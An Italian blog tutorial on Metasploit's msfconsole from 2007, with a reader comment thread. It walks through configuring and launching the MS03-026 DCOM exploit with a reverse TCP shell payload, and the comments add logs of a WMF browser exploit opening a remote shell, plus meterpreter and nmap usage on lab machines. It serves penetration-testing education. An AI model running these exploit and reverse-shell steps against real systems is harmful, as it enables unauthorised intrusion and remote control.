Guida a Metasploit Framework Parte 3 – La console, gli Exploit e i Payload

In questa terza parte della serie dedicata a Metasploit Framework, dopo una breve panoramica dei principali strumenti, vi darò le nozioni basilari sulle modalità d'uso della msfconsole, in particolare mi soffermerò sull'uso dei moduli Exploit e Payload.

msf-assistant.png

Usare Metasploit

Innanzitutto vorrei richiamare alla vostra attenzione i diversi strumenti che Metasploit ci mette a disposizione.

Osservate il contenuto della cartella di installazione

metasploit_use01.png


  • msfweb permette di lanciare gli attacchi tramite una comoda interfaccia web.
  • msfgui è una classica interfaccia grafica che utilizza un "assistente" (un wizard) per la composizione di un attacco, se pur molto limitato si tratta di un approccio ancora più semplice e veloce rispetto all'interfaccia web. Va fatto notare che questa funzionalità permette di utilizzare anche la modalità autopwn della quale parleremo più avanti.
  • msfconsole è il tipo di approccio più completo e si tratta di una console, una interfaccia testuale interattiva, tramite la quale è possibile usufruire appieno delle potenzialità del framework.
  • msfcli è un client, una console non interattiva che facilita usi avanzati del framework come ad esempio l'automatizzazione tramite script.
  • msfpayload è uno strumento per la generazione di payload in modalità stand-alone
  • msfencode permette di codificare degli shellcode con finalità di evasione IDS oppure per evitare eventuali bad-chars (caratteri non consentiti dall'applicazione attaccata)
  • msfd permette di eseguire il framework in modalità servizio (demone) al fine di renderlo utilizzabile da remoto attraverso connessioni client (come client potete usare anche i semplici telnet o netcat); ogni client avrà a disposizione una propria interfaccia msfconsole totalmente indipendente.

 

Vediamo alcuni screenshot dei vari strumenti appena descritti

metasploit_use02.png
metasploit_use03.png
metasploit_use04.png


metasploit_use05.png
metasploit_use12.png


In questo articolo vi mostrerò l'uso della msfconsole in quanto ritengo che questo strumento costituisca l'approccio più completo alle funzionalità del framework, senza contare il fatto che quando sarete in grado di lanciare un attacco tramite msfconsole utilizzare gli altri strumenti risulterà essere una operazione banalissima... e forse anche non più necessaria.

Ho volutamente tralasciato msfopcode ed msfpescan poiché sono strumenti che risolvono bisogni specifici di chi scrive exploit personalizzati, in ogni caso sono riservati ad un utenza di tipo avanzata.

La Console

Aprite un terminale e raggiungete la cartella del framework, per eseguire la console sarà sufficiente fornire il comando

sudo ./msfconsole
metasploit_use04.png


N.B: quando utilizzate la console vi consiglio di tenere il terminale a tutto schermo, a seconda delle dimensioni del Desktop può aumentare sensibilmente la leggibilità del testo restituito in output.

Digitare help ci restituirà una breve lista dei comandi disponibili

metasploit_use06.png


Iniziamo subito a prendere confidenza con lo strumento... il comando show mostra la lista completa dei moduli di un determinato tipo, per esempio

show exploits

ci restituisce la lista completa degli exploit disponibili; tenere il framework aggiornato vi permette anche di ottenere tutti i nuovi exploit.

metasploit_use07.png


show payloads

ci restituisce la lista completa dei payload utilizzabili con gli exploit

metasploit_use08.png


Allo stesso modo anche i comandi

show encoders
show auxiliary
show nops

restituiscono le rispettive liste di moduli

metasploit_use09.png
metasploit_use10.png
metasploit_use11.png


In questo momento parleremo soltanto degli Exploit e dei Payload ma intendo comunque fare un minimo di chiarezza.

  • Il termine exploit (dall'inglese "to exploit" - "sfruttare") in informatica identifica un metodo che è in grado di sfruttare i problemi che affliggono un sistema operativo oppure una determinata applicazione al fine di permettere all'attaccante di eseguire un payload sul sistema attaccato. Un exploit potrebbe anche essere studiato per creare un disservizio, in questo caso parliamo di DoS (Denial of Service)
  • Con il termine payload (a volte chiamato anche shellcode), attenendosi all'argomento che stiamo trattando, ci riferiamo ad una sequenza di comandi che vengono eseguiti grazie ad un exploit e che determinano il tipo di impatto che l'attacco avrà sul sistema bersaglio. Un payload potrebbe per esempio essere costituito da un codice che ha lo scopo di creare un utente amministrativo sul sistema attaccato, oppure che fornisce all'attaccante una shell dei comandi in grado di controllare la macchina remota... e così via.
  • Gli encoders sono algoritmi in grado di camuffare un payload al fine di renderlo invisibile ai sistemi di Intrusion Detection (IDS).
  • I moduli ausiliari (auxiliary) sono dei piccoli programmi che si occupano invece di eseguire azioni specifiche come ad esempio una scansione di rete, una operazione di fuzzing, un attacco DoS, sniffing di credenziali, ecc...
  • I moduli nop servono per generare istruzioni di tipo no-operation che hanno lo scopo di riempire il buffer, la memoria di un sistema. Questo tipo di modulo può tornare utile per la scrittura di exploit personalizzati.

 

Altri comandi generici:

  • "back" permette di tornare al contesto precedente qualora abbiate utilizzato comandi che caricano delle sottoroutine, ad esempio "load" e "use".
  • "banner" ripropone il banner descrittivo che viene mostrato all'avvio della msfconsole.
  • "cd" cambia la directory di lavoro corrente, all'interno della msfconsole è infatti possibile utilizzare alcuni comandi di shell come appunto cd, "dir", "ls"... se utilizzerete appieno le funzionalità del framework capirete il perché.
  • "load", "loadpath" e "unload" servono per caricare/scaricare alcuni plugin esterni al framework, come ad esempio db_sqlite3 che permette di utilizzare funzionalità database all'interno di Metasploit; avrò probabilmente modo di trattare questi comandi in qualche altro articolo.
  • "quit" esce dalla msfconsole.
  • "sessions" serve per gestire le sessioni, ogni volta che un attacco avrà esito positivo verrà creata una sessione, con questo comando è possibile visualizzarne la lista, entrare/uscire da esse, oppure terminarle in maniera forzata.
  • "use" serve per selezionare i moduli da utilizzare, lo incontreremo in questo articolo.
  • "set" ed "unset" servono ad impostare o resettare i valori assegnati alle variabli, in questo articolo utilizzeremo le variabli percui ne vedrete l'applicazione.
  • "version" mostra la versione del framework e della msfconsole.

 

Gli exploit e i payload

Il primo passo per attaccare un sistema tramite Metasploit, tralasciando ovviamente la scansione dei servizi, consiste nel scegliere uno o più exploit in grado di sfruttare le vulnerabilità che potrebbero affliggerlo.

N.B: nmap, se installato sul sistema, è utilizzabile anche all'interno della msfconsole; provate pure a digitare il comando "nmap" e osservatene la risposta.

metasploit_use23.png


Quando poco fa avete eseguito il comando show exploits avrete sicuramente notato che gli exploit sono catalogati in categorie e sottocategorie, più o meno il criterio di catalogazione rispecchia la seguente forma

sistema operativo / servizio-applicazione / vulnerabilità

lo stesso vale per i payload, questo sistema (introdotto nella versione 3 del framework) rende molto più intuitiva la ricerca dell'exploit e del payload da utilizzare.

L'exploit che utilizzerò per questa dimostrazione è quello che sfrutta il famoso overflow dell'interfaccia RPC DCOM (ricordate il Worm W32.Blaster?), vediamo come visualizzare maggiori informazioni su di esso

info windows/dcerpc/ms03_026_dcom
metasploit_use13.png


La porta 135 (RPC) del bersaglio è raggiungibile, questo exploit è proprio ciò che fa al caso nostro... selezioniamolo tramite il comando use

use windows/dcerpc/ms03_026_dcom
metasploit_use14.png


Di conseguenza al comando use il prompt dei comandi è stato modificato, infatti ora indica che stiamo utilizzando l'exploit specificato ed abbiamo perciò accesso ad un altra serie di opzioni, provate ad eseguire il comando show options

show options
metasploit_use15.png


L'output di questo comando mira a renderci consapevoli delle possibili configurazioni supportate dal modulo exploit che abbiamo selezionato, tali configurazioni possono essere fatte tramite il comando set. L'exploit preso in esame è molto semplice, stando a quanto indicato dal campo "Required" (obbligatorio) abbiamo la sola necessità di configurare la variabile RHOST ("remote host", ovvero l'indirizzo IP del sistema da attaccare). Non è necessario nemmeno selezionare un sistema operativo target in quanto questo modulo viene dichiarato come Universal (universale).

Selezioniamo allora il nostro RHOST

set RHOST 192.168.192.180
metasploit_use16.png


Se provate ad eseguire nuovamente il comando show options noterete che la variabile RHOST risulta ora impostata

metasploit_use17.png


Dunque... abbiamo selezionato un exploit, un bersaglio... non ci resta che selezionare un payload, ovvero l'azione che vogliamo venga eseguita sul sistema remoto qualora l'exploit andasse a buon fine.

set PAYLOAD windows/shell/reverse_tcp
metasploit_use18.png


Questo payload fa in modo che il sistema attaccato si connetta al nostro computer fornendoci una shell dei comandi tramite la quale avremo la possibilità di controllarlo, tra poco elencherò brevemente le varie tipologie di payload ma per il momento, per non creare confusione, seguite solamente i miei passi.

Se eseguite nuovamente il comando show options vedrete che alle precedenti opzioni relative all'exploit si sono aggiunte quelle relative al payload selezionato, anche i payload infatti hanno bisogno di configurazioni.... alcuni più di altri.

show options
metasploit_use19.png


L'unico campo obbligatorio che non risulta compilato è LHOST ("local host", ovvero l'indirizzo IP locale del nostro computer); abbiamo detto infatti che il payload in questione farà in modo che il sistema remoto si connetta al nostro computer quindi avrà ovviamente bisogno di conoscerne l'indirizzo IP.

set LHOST 192.168.192.3

Ancora una volta, eseguendo show options noterete che anche il modulo payload è ora completamente configurato.

metasploit_use20.png


Adesso che tutte le variabili obbligatorie sono state correttamente impostate non resterebbe che lanciare l'attacco tramite il comando exploit... nel caso in cui vi stiate chiedendo se esista la possibilità di eseguire una verifica preventiva sulla vulnerabilità del sistema bersaglio, la sezione "Exploit Commands" dell'help vi fornirà la risposta alla domanda.

help
metasploit_use21.png


Il comando check permette infatti di eseguire una analisi preventiva del sistema remoto, purtroppo però non tutti gli exploit supportano questa funzionalità. Il nostro ms03_026_dcom per esempio non supporta il check.

Quando vi sentite pronti eseguite il comando exploit per dare il via al processo d'attacco.

exploit

Ecco il risultato

metasploit_use22.png


Una volta che avrete terminato di utilizzare la shell dei comandi sarà possibile chiuderla tramite il comando exit oppure con la combinazione di tasti control-c (questa termina forzatamente la sessione, se possibile non utilizzatela).

Non c'è molto da aggiungere, l'utilizzo di Metasploit è semplice ed intuitivo, le azioni da eseguire sono veramente poche. Ovviamente le sue funzionalità non si limitano soltanto a quanto abbiamo visto in questo breve articolo, in futuro ci sarà sicuramente spazio per approfondirne alcuni aspetti specifici.

I payload in dettaglio

Poco fa ho parlato dei moduli payload e per non creare confusione ho evitato di entrare un po' più nel dattaglio, vediamoli ora.

Innanzitutto occorre dire che le tipologie di payload messe a disposizione sono principalmente queste:

  • adduser, aggiungono un account utente nel sistema attaccato.
  • dllinject, iniettano nel sistema una libreria arbitraria.
  • download_exec, scaricano ed eseguono un eseguibile arbitrario nel sistema attaccato.
  • exec, eseguono un comando arbitrario nel sistema attaccato.
  • meterpreter, il coltellino svizzero dell'attacco alle piattaforme windows, è stato sviluppato appositamente per Metasploit e permette di eseguire una grande varietà di comandi sul sistema attaccato, ho in programma di scrivere qualcosa su di esso in futuro.
  • shell, permettono di ottenere un prompt dei comandi sul sistema attaccato.
  • upexec, permettono l'upload e l'esecuzione di un eseguibile arbitrario sul sistema attaccato.
  • vncinject, iniettano ed eseguono una sessione VNC sul sistema attaccato, questo permette all'attaccante di ottenere il controllo remoto della sessione utente.

Ognuno di questi payload può essere eseguito in varie modalità, la scelta è dettata dalla situazione nella quale l'attaccante si trova ad operare. Per esempio: se il sistema fosse protetto da firewall e volessimo comunque ottenere un prompt dei comandi su di esso sarebbe necessario utilizzare una modalità reverse shell (Reverse TCP Stager/Inline) piuttosto che una connessione diretta (Bind TCP Stager/Inline), oppure se il sistema remoto fosse protetto da un firewall in grado di fare ispezione dei pacchetti a livello applicativo (application filter) potrebbe esistere la necessità di eseguire il payload tramite PassiveX Reverse HTTP Tunneling Stager, in questo caso verrà dapprima modificato il registro di sistema e poi lanciato Internet Explorer il quale sarà a questo punto configurato per caricare un controllo ActiveX in grado di eseguire il tunneling HTTP del payload verso il nostro computer (questa modalità è in grado di sfruttare anche le configurazioni di proxy e autenticazione Internet).

Riassumendo... ogni tipologia di payload sopra elencata supporta quindi le modalità appena descritte, ovvero: Reverse TCP Stager/Inline, Bind TCP Stager/Inline e PassiveX Reverse HTTP Tunneling Stager.

Risorse in rete

Autore

Mirko Iodice
mirko -at- notageek (.dot) it

Suggeriti dall'autore

Print This Email this Twit This! Add to del.icio.us Share on Facebook Digg This! Stumble It! AddThis! Share on Segnalo Alice Share on OKNotizie

Post Metadata

Data
26 Novembre 2007

Autore
Mirko

Categorie

163 commenti a “Guida a Metasploit Framework Parte 3 – La console, gli Exploit e i Payload”




  1. Sembrano una passeggiata questi framework...
    Ora aspetto la puntata sull'autopwn..ho letto in giro che è moooolto interessante; sono incuriosito.
    Qualcuno ha provato a seguire la guida ?
    A me non funziona.. anche provando a settare un exploit diverso.
    Ammetto, sono un principiante!
    Ciao !

    Rispondi



  2. Ciao,
    potresti specificare meglio il problema?
    Cos'è che non funziona esattamente?
    Ricevi qualche tipo di errore oppure semplicemente l'exploit fallisce e non riesci ad ottenere la shell dei comandi?

    Vorrei ricordare che determinati exploit potrebbero non funzionare contro i sistemi operativi aggiornati, vi consiglio di dare sempre uno sguardo alle "References" riportate attraverso il comando info.

    La vulnerabilità sfruttata dall'exploit mostrato in questo articolo è stata infatti corretta, per testarlo avrete perciò bisogno di un Windows XP o un Windows 2003 non aggiornati, senza service pack.

    Rispondi



  3. Ciao!
    leggendo la tua guida, sono rimasto molto incuriosito ed ho deciso di provare Metasploit.
    non potendo provare l' esempio che hai indicato, ho deciso di utilizzare un exploit web based.
    ho provato tantissimi exploits e tutti si comportano generando lo stesso errore:
    Sending exploit to 192.168.223.1:37314
    che è il mio router/gateway e nn la macchina di attacco (con metasploit)

    ti aggiungo ulteriori info:

    ipconfig della macchina con metasploit:
    IPv4 Address. . . . . . . . . . . : 192.168.223.10
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.223.1

    ipconfig della vittima:
    ipconfig della macchina con metasploit:
    IPv4 Address. . . . . . . . . . . : 192.168.223.21
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.223.1

    Module: exploit/windows/browser/ms06_013_createtextrange

    >> info

    Available targets: Id Name -- ----
    0 Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2) <-- il mio caso
    1 Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)

    Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 192.168.223.10 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. URIPATH mirox no The URI to use for this exploit (default is random)

    qui parte l' attacco

    16:03:07 - ms06_013_createtextrange [*] Launching exploit windows/browser/ms06_013_createtextrange...
    16:03:07 - ms06_013_createtextrange [*] Using URL: http://192.168.223.10:8080/mirox
    16:03:07 - ms06_013_createtextrange [*] Server started.
    16:03:54 - ms06_013_createtextrange [*] Sending exploit to 192.168.223.1:37314...

    ho provatto un casino di exploits, configuranto l ip dell' attacker (quindi quello della macchina con Metasploit) con 192.168.223.10 ma nulla da fare....

    non capisco perchè risponde sempre al 192.168.223.1...

    hai percaso qualche idea? te ne sarei davvero grato!
    grazie :)

    Rispondi



  4. @ myro
    Il comportamento da te illustrato non è normale.
    Sulla macchina vittima utilizzi per qualche motivo il gateway (192.168.223.1) come proxy di internet explorer?
    Metasploit dovrebbe cercare di spedire l'exploit all'IP che si collega all'URL http://192.168.223.10:8080/mirox, sembra che non sia la vittima a connettersi a tale indirizzo ma il router... è possibile? Potresti verificare con uno sniffer.
    In ogni caso fai questa prova: togli il parametro default gateway dalla configurazione IP delle due macchine (attaccante e vittima) e riprova, essendo in rete locale non dovrebbero aver bisogno del gateway per comunicare tra di loro. Fammi sapere.

    Rispondi



  5. Ciao Mirko.
    Inanzitutto grazie mille della tua (tempestiva) risposta!!!
    non è da tutti. :) thx!

    Exporer nn usa nessun gateway, ed gli ip vengono forniti dal dhcp.
    cmq ho provato a settarli statici tralasciando il gateway ed sono riuscito ad ovviare il problema. non è una soluzione ma è un passo avanti :)
    una volta effettuato il mio primo exploit, proverò metaspoit in una lan con configurazione diversa, per risolvere questo strano problema.

    Ora....ehm.... riesco a lanciare l' expoit verso la macchina giusta ma non ce verso di caricare un payload.
    vorrei prendere la shell della vittima con il payload windows/shell/reverse_tcp come da te condigliato.

    questo è il mio output:
    [*] PassiveX listener started. [*] Using URL: http://192.168.223.10:8080/mirox66 [*] Server started.
    [*] Sending exploit to 192.168.223.89:1108...
    msf exploit(ms06_001_wmf_setabortproc) >
    e rimane in attesa all infinito.

    expoit:
    Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution win32
    This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request.

    payload: windows/shell/reverse_tcp (ho provate quasi tutte)

    vars:
    SRVHOST: 192.168.223.10
    SRVPORT: 8080
    URIPATH: mirox7
    EXITFUNC: seh
    LHOST: 192.168.223.10
    LPORT: 4444

    la macchina client è un (xp sp2) e quando raggiunge l'indirizzo http://192.168.223.10:8080/mirox66 automaticamente scarica nella cartella temp di windows un .wmf e cerca di aprirlo con Windows picture Viewer. da questo deduco che l' exploit ha funzionato, visto che si tratta di un exploit delle GDI si win.

    ma nonostante ciò nn succede nulla...

    Grazie mille, della pazienza nel leggere questo tema :)
    ciao mirko.

    Rispondi



  6. @ myro
    nel tuo caso l'exploit è stato eseguito con successo ma non ha avuto un buon esito. Probabilmente la vittima è stata patchata per la vulnerabilità che stai cercando di sfruttare.
    Mi spiego meglio: il bollettino MS06-001 è datato 6 gennaio 2006 ed una patch per Windows XP SP2 è stata rilasciata qualche mese più tardi; se stai provando ad attaccare un client Windows XP che è stato aggiornato in una data successiva a quella del rilascio di tale patch allora sicuramente l'exploit non riuscirà ad eseguire il payload poiché esso non è più vulnerabile.
    Il fatto che tu veda comparire/aprire il file wmf significa soltanto che Metasploit è riuscito ad eseguire l'exploit ma, a questo punto, l'esecuzione del payload avverrà soltanto se il sistema operativo attaccato è ancora vulnerabile.
    Se provi ad eseguire nuovamente le stesse operazioni contro un sistema Windows XP SP2 senza ulteriori aggiornamenti otterrai sicuramente un risultato diverso:
    msf exploit(ms06_001_wmf_setabortproc) > exploit
    [*] Started reverse handler
    [*] Using URL: http://192.168.192.7:80/notageek
    [*] Server started.
    msf exploit(ms06_001_wmf_setabortproc) >
    [*] Sending exploit to 192.168.192.5:1049...
    [*] Sending stage (474 bytes)
    [*] Command shell session 1 opened (192.168.192.7:4444 -> 192.168.192.5:1050)

    msf exploit(ms06_001_wmf_setabortproc) > sessions -l

    Active sessions
    ===============

    Id Description Tunnel
    -- ----------- ------
    1 Command shell 192.168.192.7:4444 -> 192.168.192.5:1050

    msf exploit(ms06_001_wmf_setabortproc) > sessions -i 1
    [*] Starting interaction with 1...

    Microsoft Windows XP [Versione 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\Documents and Settings\Administrator.TESTDOMAIN\Desktop>

    Rispondi



  7. Grazie mille mirko della tua spiegazione.
    Proverò il tutto tirando su una macchina virtuale con xp senza alcun service pack, per testare questi expoits.

    ciaoo!!

    Rispondi



  8. @ myro
    Penso che sia la cosa migliore da fare per imparare ad utilizzare questo framework, una volta fatto ciò potrai scegliere di approfondire l'argomento e sfruttare anche le altre funzionalità che io non ho ancora trattato qui sul blog.

    Rispondi



  9. Vorrei complimentarmi per la tua ottima guida! Vorrei togliermi solamente un dubbio... Se possiedo un router esso può limitare la stabilità delle connessioni? Mi spiego meglio... Ho un server casalingo in cui faccio le prove in vps e lo gestisco da remoto! Ho installato win xp con SP2 senza aggiornamenti! Qui possiedo un router! Ho lanciato l'attacco aprendo sul mio router la porta 4444 solo che invece di stabilire la connessione sulla 4444 l'ha stabilita sulla 46064 sul mio ip locale e su quello remoto sulla 30599 e ho avuto la shell! Probabilmente perchè ha utilizato un'altro exploit tramite autopwn! (Devo dire bella sensazione). Quello che voglio sapere se centra qualcosa aprire le porte sul router oppure la connessione avviene ugualmente? Perchè ho provato a fare altre prove con win 2000 e altri sistemi più vecchi ma non riuscito a stabilire una connessione... può dipendere da questo oppure perchè non erano affetti da bug? Grazie in anticipo!

    Rispondi



    • @Massimo
      Ciao,
      se devo essere sincero non ho ben capito la situazione da te descritta, stai effettuando i test di attacco al tuo computer di casa attraverso internet? Attraverso la VPN? Oppure direttamente in rete locale LAN?
      In ogni caso, quando si effettuano questi tipi di test attraverso internet, va sempre valutata la configurazione del router/firewall sia dalla parte dell'attaccante che della vittima.
      I tipici router "casalinghi", ad esempio, sono normalmente configurati per consentire qualsisi tipo traffico in uscita, questo significa che non viene applicato nessun tipo di filtro su tutti quei pacchetti di rete che hanno come origine la rete LAN e come destinazione la rete Internet; al contrario invece i pacchetti provenienti dall'esterno, cioè da Internet verso la rete LAN, vengono sempre bloccati a meno che non siano state impostate delle regole di port-forwarding (alcuni router le chiamano server-publishing).
      In questo tipo di situazione non c'è bisogno di configurare alcuna regola sul router/firewall che collega la vittima con Internet poiché un payload di tipo reverse-shell ha sempre l'opportunità di connettersi indisturbato verso l'attaccante che si trova all'esterno. Il discorso è diverso invece per il router/firewall che collega l'attaccante ad Internet in quanto, al fine di poter ricevere la connessione proveniente dalla reverse-shell esso deve pubblicare (host esposto) il proprio computer su internet o per lo meno garantire, tramite regole di port-fowarding, la raggiungibilità della porta impostata come "destinazione" in fase di configurazione del payload.
      Lo scenario appena descritto non è ovviamente assoluto ma è il più comune per le utenze internet "private" cioè non aziendali... il tutto cambia e va rivalutato nel momento in cui i router/firewall interessati siano più complessi e configurati per filtrare qualsiasi tipo di pacchetto, sia in entrata che in uscita, magari anche a livello applicativo.

      Rispondi



  10. Ti ringrazio per la tua risposta tempestiva! Cmq ho sistemato tutto il problema era proprio quello che hai detto te di aprire le porte sul router e subito dopo è andato benissimo anche sul win 2000! Volevo chiederti un altro piccolo aiuto il quale non sono riuscito a capire come applicare i comandi aggiuntivi dei Payloads mi spiego meglio... una volta che mi trovo dentro la shell del mio sistema virtuale ho letto che ci sono dei comandi aggiuntivi per fare l'upload e il download dei file sulla shell vittima ma non capisco come applicarli mentre mi ritrovo dentro la shell tipo questi comandi:

    •adduser, aggiungono un account utente nel sistema attaccato.
    •dllinject, iniettano nel sistema una libreria arbitraria.
    •download_exec, scaricano ed eseguono un eseguibile arbitrario nel sistema attaccato.
    •exec, eseguono un comando arbitrario nel sistema attaccato.
    •meterpreter, il coltellino svizzero dell’attacco alle piattaforme windows, è stato sviluppato appositamente per Metasploit e permette di eseguire una grande varietà di comandi sul sistema attaccato, ho in programma di scrivere qualcosa su di esso in futuro.
    •shell, permettono di ottenere un prompt dei comandi con diritti di SYSTEM sul sistema attaccato.
    •upexec, permettono l’upload e l’esecuzione di un eseguibile arbitrario sul sistema attaccato.
    •vncinject, iniettano ed eseguono una sessione VNC sul sistema attaccato, questo permette all’attaccante di ottenere il controllo remoto della sessione utente.

    Sto impazzendo... perchè il grosso ormai l'ho fatto ma se voglio inviare o scaricare dei file dalla shell non riesco ad applicare quei comandi da remoto! Attendo con ansia il tuo aiuto! Grazie come sempre!

    Rispondi



    • @Massimo
      i punti che hai elencato, citando il mio articolo, non sono comandi ma bensì diversi payload... percui vanno utilizzati singolarmente al posto del reverse-shell.
      Per come la vedo io hai principalmente due possibilità:
      - utilizzare system32\ftp.exe da prompt dei comandi di Windows (se non è stato disabilitato) per caricare o scaricare i files.
      - usare come payload un meterpreter (o reverse-meterpreter a seconda della configurazione di rete) che ti permette appunto di eseguire con facilità numerose altre operazioni, ad es.: effettuare l'upload/esecuzione di file, ottenere gli hash LM delle password, utilizzare l'host compromesso per fare tunnelling nella LAN di altri attacchi, ecc.

      Rispondi



  11. Grazie Mirko! Ma utilizzando la modalità autopwn il payload meterpreter si può lanciare ugualmente oppure bisogna prima uscire dalla shell e lanciare il singolo comando con il payload meterpreter? Come si può fare? Grazie!

    Rispondi



    • @Massimo
      meterpreter è il payload di default per il plugin autopwn se stai usando la versione in sviluppo di Metasploit (attualmente 3.3-dev), altrimenti devi lanciare il singolo exploit utilizzando meterpreter come payload.

      Rispondi



  12. Quindi in pratica mi conviene usare la versione beta 3.3 per avere di default il meterpreter! A pensare che per un pò di giorni lo utilizzavo ma lo vedevo uguale al 3.2 quindi mi ero lasciato la 3.2 probabilmente più stabile! Allora ritorno alla 3.3 e ti facico sapere! Grazie Mirko! :)

    Rispondi



  13. Mirko è tutta un'altra cosa con questo payload! Davvero fantastico! L'ho provato subito e funge a meraviglia! Solamente che non riesco ad accedere alle cartelle con nomi separati tipo Programmi Files come bisogna fare in quel caso? ho provato cd Programmi%Files ma non va! Sto impazzendo per questa cosa! Grazie come sempre Mirko!

    Rispondi



  14. Mirko 6 un grande! Adesso posso sfogliare anche le cartelle con gli spazi grazie mille! :D
    Ascolta Mirko c'è la possibilità su nmap di escludere delle porte e lasciare il resto? Perchè ti spiego tipo la 80-21-22 e qualche altra porta diciamo che ormai è difficile trovare il webserver su win o linux con bug se non si viene aggiornato così anche l'ftp o l'ssh in questo modo finico prima i test sulla rete dei miei vps invece di aspettare che lancia exploit sulla 80 per poi non trovare lo stesso nulla... oppure se esiste una lista di porte standard in cui possono avere dei bug tipo la 445 di xp SP2 ecc..? Io conosco solo questa perchè è il bug di xp SP2 altre con più possibilità di bug esistono? Così metto solo la lista di porte che possono servire invece di lasciare quelle standard!
    Grazie come sempre!

    Rispondi



    • @Massimo
      Puoi usare le opzioni standard di nmap, per l'help digita:

      db_nmap -h

      Nello specifico l'opzione -p ti permette di modificare a tuo piacimento le porte da scansionare, se ometti questa opzione nmap scansionerà le 1000 porte più comuni.

      Ti faccio qualche esempio:

      db_nmap -p 135,139,445 192.168.0.1

      il comando di cui sopra scansiona soltanto le porte 135,139 e 445 dell'host 192.168.0.1

      db_nmap -p 1-500,1000-2000 192.168.0.1

      scansiona tutte le porte comprese negli intervalli da 1 a 500 e da 1000 a 2000 per l'host 192.168.0.1, puoi anche forzare il protocollo:

      db_nmap -p U:53,T:1-500,T:1000-2000 192.168.0.1

      Ovviamente U sta per UDP e T sta per TCP.

      Link alla documentazione ufficiale: http://nmap.org/book/man-port-specification.html

      Ti consiglio inoltre di aggiungere l'opzione -sT che forza una scansione di tipo "TCP Connect Scan", ti darà risultati più attendibli rispetto alla predefinita "SYN Stealth Scan", non ti servono opzioni di evasione log e IDS dato che stai scansionando la tua rete.

      db_nmap -sT -p U:53,T:1-500,T:1000-2000 192.168.0.1

      Rispondi



  15. Grazie Mirko 6 stato chiarissimo! Infatti l'opzione -p l'ho usata inserendo -p 445 per l'xp SP2 Ma mi chiedevo se una lista di queste 1000 porte standard o delle 100 porte senza inserire il -p (almeno è quello che mi dice quando ha finito... che ha scansionato 100 porte) esiste? Cioè sappiamo quali sono queste porte?
    Poi un'altra cosa che ho notato Mirko che nel Meterpreter l'opzione per eliminare un file non c'è è normale? C'è solo l'opzione rmdir per eliminare una cartella ma se provo rm file oppure rm -rf file mi dice che ovviamente il comando non esiste! Quindi non c'è modo per svolgere quest'azione? Grazie!

    Rispondi



  16. @Massimo
    la prima cosa che mi viene in mente, se stai usando linux, è ricavarsi un file di testo contenete le porte di nmap utilizzando i comandi messi a disposizione dalla shell:

    nmap -r -d2 127.0.0.1|grep Discovered|cut -d" " -f4|cut -d"/" -f1|sort -n>top1000.txt
    nmap -r -d2 -F 127.0.0.1|grep Discovered|cut -d" " -f4|cut -d"/" -f1|sort -n>top100.txt

    Nello stesso modo puoi giocare anche con le opzioni "--top-ports" e "--port-ratio" per creare altre liste.
    Se ne hai bisogno te li metto da scaricare.

    Per quanto riguarda il meterpreter... se vuoi avere a disposizione tutti i comandi del prompt di windows devi eseguirlo ed interagire con esso:

    meterpreter > execute -f cmd -c
    Process 500 created.
    Channel 2 created
    meterpreter > channel -l
    
        Id  Class  Type            
        --  -----  ----            
        2   3      stdapi_process  
    
    meterpreter > interact 2
    Interacting with channel 2...
    
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is 44C0-AE88
    
     Directory of C:\
    
    01/06/2007  16.59                 0 AUTOEXEC.BAT
    01/06/2007  16.59                 0 CONFIG.SYS
    10/03/2009  09.02              Documents and Settings
    04/06/2009  19.15              Program Files
    04/06/2009  19.19              WINDOWS
                   2 File(s)              0 bytes
                   3 Dir(s)  19.924.389.888 bytes free
    

    Rispondi



  17. Mirko ma non ti sfugge proprio niente! Sai tutto! Ho applicato le 2 stringhe per le porte del nmap e mi ha creato i 2 file .txt con il risultato dello scan! Davvero Grandioso! Per quanto riguarda il meterpreter una volta interagito con il prompt per ritornare di nuovo ad esso devo uscire e rifare tutto d'accapo o basta un comando? E ti volevo chiedere un'altra cosa un pò più complessa... ho notato che le cartelle exploit http e browser utilizzano la stessa porta 8080 solamente che io volevo far applicare sulla 8080 gli exploit browser perchè ho notato che con l'automazzione prende automaticamente la HTTP invece di browser! C'è un moto tramite automazzione sempre di far lanciare soltanto oppure entrambi le cartelle browser e http? Magari forzando con qualche comando?

    Rispondi



    • @Massimo
      1. Quando termini il prompt di windows con il comando "exit" ritorni al prompt del meterpreter, non devi rifare nulla.
      2. Scusami ma non ho capito la domanda :-)

      Rispondi



  18. Per la seconda domanda te la riformulo meglio... Hai presente l'opzione autopwn (automazzione)? Vorrei far si che metasploit lancia dei determinati exploit invece di altri! Ti faccio un'esempio... ho provato sulla porta 8080 la quale l'ho aperta apposta per testare questa opzione... ho lanciato l'automazzione ma ho notato che gli exploit che lancia sono quelli della cartella windows/http mentre io voglio che deve lanciare quelli di windows/browser oppure... lanciare entrambi le cartelle (non fa male)! Senza farlo manualmente perchè ne sono tanti gli exploit della cartella browser c'è la possibilità di forzare il lancio degli exploit tramite automazzione?

    Rispondi



  19. @Massimo
    Gli exploit vengono selezionati da autopwn in base alla porta oppure ai riferimenti contenuti nel database di vulnerabilità... sei tu a decidere quale delle due modalità utilizzare tramite i parametri del comando db_autopwn. In ogni caso non puoi usare un exploit di tipo browser per attaccare una porta poiché non sfrutta una vulnerabilità che affligge un protocollo di comunicazione /servizio in ascolto ma bensì una applicazione client che deve essere portata a connettersi ad esso; questo significa che, per utilizzare gli exploit di tipo browser, metasploit deve avviare un server web ospitante la pagina di exploit e tu devi fare in modo che l'utente la visualizzi con il browser vulnerabile. Per automatizzare questo tipo di attacco c'è un modulo ausiliario apposito che si chiama browser_autopwn... ma l'onere di portare l'utente a visualizzare l'exploit resta a te e fa parte di un altra "scuola": quella degli attacchi client-side.

    Rispondi



